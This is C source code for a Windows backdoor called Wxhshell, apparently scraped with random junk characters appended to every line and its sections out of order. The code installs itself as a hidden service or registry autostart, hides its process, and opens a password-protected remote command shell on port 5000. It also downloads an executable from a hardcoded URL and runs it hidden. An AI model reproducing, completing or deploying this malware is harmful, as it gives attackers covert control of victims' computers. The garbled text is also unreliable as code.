DWORD AffinityMask; cB#5LXbCE
DWORD BasePriority; 5r)ndW,aN
ULONG UniqueProcessId; Z6C!-a
ULONG InheritedFromUniqueProcessId; EYWRTh
} PROCESS_BASIC_INFORMATION; \6AYx[|
0N.B=j|
PROCNTQSIP NtQueryInformationProcess; Z$
q{!aY
MJ "ug8N
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n4 A_vz
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gy 0 m
>dO1)
HANDLE hProcess; Nki08qZ[
PROCESS_BASIC_INFORMATION pbi; D! TFb E
,9;RP/"7
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QS(aA*D
if(NULL == hInst ) return 0; 7[=*#7}.
!YX$4_I
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C#<b7iMg
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iY@wg 8ry
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Bv-|#sdxm
fNR2(8;}
if (!NtQueryInformationProcess) return 0; &w15GO;4
+I~`Ob
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ybk~ m
if(!hProcess) return 0; oA/[>\y
*Rm"3S
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N,k PR
k*XI/k5Vc
CloseHandle(hProcess); M~'4>h}
h[eC i
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZAATV+Z
if(hProcess==NULL) return 0; T($d3Nn1
Ub[SUeBGH
HMODULE hMod; Aw?i6d
char procName[255]; GZ=7)eJ~<
unsigned long cbNeeded; aE aU_f/
_A]8l52pt
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _{Z!$q6,
@QOlo-u
CloseHandle(hProcess); DA=#T2)p
ky4;7RK
if(strstr(procName,"services")) return 1; // 以服务启动 =n@"lY u[
v@,n]"
return 0; // 注册表启动 CG#lpAs
} RBOb/.$
Q[PVkZ
// 主模块 b"4'*<=au
int StartWxhshell(LPSTR lpCmdLine) ws/e~ T<c
{ xE>jlr?
SOCKET wsl; ~,YxUn8@
BOOL val=TRUE; J[|4`GT
int port=0; 5:R$xgc
struct sockaddr_in door; b@v_db]|t.
PI G3kJ
if(wscfg.ws_autoins) Install(); ujin+;1
\_vjc]?
port=atoi(lpCmdLine); ]u5B]ZQnA
8Cx6Me>,=
if(port<=0) port=wscfg.ws_port; `GDWy^-Q+!
*r)/Vx`S
WSADATA data; hZZ
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {UeS_O>(
,|}}Ml
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?T1vc
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CJa`[;i0y
door.sin_family = AF_INET; {{:QtkN
door.sin_addr.s_addr = inet_addr("127.0.0.1"); %3%bRP
door.sin_port = htons(port); 7y?aw`Sw:
V><,.p8
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \=1$$EDS9
closesocket(wsl); uqotVil,
return 1; kJ'rtz4QO
} $.+_f,tU
q"@>rU4
if(listen(wsl,2) == INVALID_SOCKET) { Q6 oM$qiM
closesocket(wsl); A4~-{.w=
return 1; a Fh9B\n
} QjlQsN!
Wxhshell(wsl); #}p@+rkg2
WSACleanup(); IgIM8"N
:kMF.9U:
return 0; *SK`&V
WEaG/)y
} fEo5j`}
4j1$1C{
// 以NT服务方式启动 #lfW0?Y'
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ROhhd.
{ {{r.?m#{
DWORD status = 0; A+=K<e
DWORD specificError = 0xfffffff; \<aR^Sj.
`VrQ?s
serviceStatus.dwServiceType = SERVICE_WIN32; \Ota~A
serviceStatus.dwCurrentState = SERVICE_START_PENDING; @=ro/.
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H/2dVUU
serviceStatus.dwWin32ExitCode = 0; JT p+&NS
serviceStatus.dwServiceSpecificExitCode = 0; ('~}$%C
serviceStatus.dwCheckPoint = 0; nl-y0xD9c
serviceStatus.dwWaitHint = 0; y3 "+4e
v]GQb
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5O%?J-Hp
if (hServiceStatusHandle==0) return; `Sx1?@8(
d iWi0@
status = GetLastError(); gs"w
0[$
if (status!=NO_ERROR) 6}cN7wnm
j
{ |yinV fZ0C
serviceStatus.dwCurrentState = SERVICE_STOPPED; Kh8
serviceStatus.dwCheckPoint = 0; PX- PVW
serviceStatus.dwWaitHint = 0; MBqw{cy
serviceStatus.dwWin32ExitCode = status; it$w.v+W7V
serviceStatus.dwServiceSpecificExitCode = specificError; Bwc_N.w?3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4aiI&,
return; t-i\gq^
} :w<Ga8\tZ
vlq L
serviceStatus.dwCurrentState = SERVICE_RUNNING; $(]E$ek
serviceStatus.dwCheckPoint = 0; {%oxzdPc
serviceStatus.dwWaitHint = 0; t2(vtxrt
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l4>c
} 8AJ#].q0F
FL{$9o\@
// 处理NT服务事件,比如:启动、停止 K|Xr~\=
VOID WINAPI NTServiceHandler(DWORD fdwControl) +a"f)4\
{ E*x ct-m#
switch(fdwControl) .*X=JFxl
{ W)<t7q+
case SERVICE_CONTROL_STOP: n%6ba77
serviceStatus.dwWin32ExitCode = 0; ^GS\(egt
serviceStatus.dwCurrentState = SERVICE_STOPPED; VfFbZds8f
serviceStatus.dwCheckPoint = 0; 6~-,.{Y
serviceStatus.dwWaitHint = 0; N;v]ypak
{ <Gna}ALkg
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W2&(:C8V@
} 9&bJ]
return; d2?#&d'aq
case SERVICE_CONTROL_PAUSE: 6HZVBZhM
serviceStatus.dwCurrentState = SERVICE_PAUSED; t,u;"%go
break; Nt|Fw$3*5{
case SERVICE_CONTROL_CONTINUE: }tO>&$
Z6f
serviceStatus.dwCurrentState = SERVICE_RUNNING; &I:ZJuQ4
break; vSy[lB|)24
case SERVICE_CONTROL_INTERROGATE: r=/$}l4
break; W9QVfe#s
}; B- D&1gO
SetServiceStatus(hServiceStatusHandle, &serviceStatus); eQwvp`@"
} ;Z9(ll:<$
7h.fT`
// 标准应用程序主函数 8O_yZ
~Z4
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g2?yT ?
{ CFUn1^?0
fDRG+/q(+
// 获取操作系统版本 Tol"D2cyf
OsIsNt=GetOsVer(); '6cXCO-_P
GetModuleFileName(NULL,ExeFile,MAX_PATH); (^"2"[?a
-ykD/
// 从命令行安装 ]_j={0%
if(strpbrk(lpCmdLine,"iI")) Install(); B3<sSe8L0
0g;)je2_2?
// 下载执行文件 ?G<ISiABQC
if(wscfg.ws_downexe) { k=cDPu -
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DYoGtks(
WinExec(wscfg.ws_filenam,SW_HIDE); dZo x;_b
} IL1iTRH
8Wo!NG:V5
if(!OsIsNt) { f40OVT@g
// 如果时win9x,隐藏进程并且设置为注册表启动 phQ{<wzwp
HideProc(); pfs]pDjS:
StartWxhshell(lpCmdLine); Q/q>mN"#1
} +i#s |kKs\
else ia (&$a8X
if(StartFromService()) 6FN#X g
// 以服务方式启动 ]V)*WP#a
StartServiceCtrlDispatcher(DispatchTable); JLt%G^W>
else ~(#iGc]7
// 普通方式启动 gZiwXb
StartWxhshell(lpCmdLine); gWL`J=DiU
w:/3%-
return 0; NTEN
} sm;kg=
NwxDxIIH/)
F+ 7*SImv6
|MOz>1<a
=========================================== 2liJ^ `
do*aE
%P{3c~?DH
tLxeq?Oo]
zkiwFEHA=
/::Y &&$f
" m\XG7uo~
4*D"*kR;
#include <stdio.h> MMUlA$*t
#include <string.h> 5fMlOP_
#include <windows.h> X7[gfKGL)N
#include <winsock2.h>
]G
D`
f
#include <winsvc.h> IT)3Et@Y
#include <urlmon.h> .lq83;
k
*Hi}FI
#pragma comment (lib, "Ws2_32.lib") 0m=57c$O
#pragma comment (lib, "urlmon.lib") 0qIg:+l+
B,&QI&k`~
#define MAX_USER 100 // 最大客户端连接数 7>f"4r_r6<
#define BUF_SOCK 200 // sock buffer T--%UZD]W
#define KEY_BUFF 255 // 输入 buffer MTN*{ug2:
N!MDD?0
#define REBOOT 0 // 重启 Yg,;l-1
#define SHUTDOWN 1 // 关机 L|}s Z\2!
m=+x9gL2
#define DEF_PORT 5000 // 监听端口 NuOxEyC
?
|#dGk g
#define REG_LEN 16 // 注册表键长度 =R~zD4{"
#define SVC_LEN 80 // NT服务名长度 1D38T
gWoUE7.3`
// 从dll定义API q3#+G:nh
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 89;@#9
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hSR+7qN<e
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vj344B
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8]exsnZ
TVx
`&C+
// wxhshell配置信息 hF$qH^-c*A
struct WSCFG { l^OflZC~
int ws_port; // 监听端口 d=n{Wn{C
char ws_passstr[REG_LEN]; // 口令 Wy*+8~@A
int ws_autoins; // 安装标记, 1=yes 0=no G~v:@
char ws_regname[REG_LEN]; // 注册表键名 y4LUC;[n
char ws_svcname[REG_LEN]; // 服务名 ,i??}Wm5G
char ws_svcdisp[SVC_LEN]; // 服务显示名 _ziSH 3(
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ."=%]l0
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7Xu# |k
int ws_downexe; // 下载执行标记, 1=yes 0=no ]@ke_'
"
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -B9e&J
{K
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $B_%MfI
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}; Lt=32SvTn
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// default Wxhshell configuration 5 7t.Ud
struct WSCFG wscfg={DEF_PORT, ^ =n7E
"xuhuanlingzhe", )5LT!14
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"Wxhshell", E5@ =LS
"Wxhshell", KYtCN+vsG
"WxhShell Service", 80_w_i +
"Wrsky Windows CmdShell Service", rhy-o?
"Please Input Your Password: ", R y#C#0
1, 5h`L W AB
"http://www.wrsky.com/wxhshell.exe", &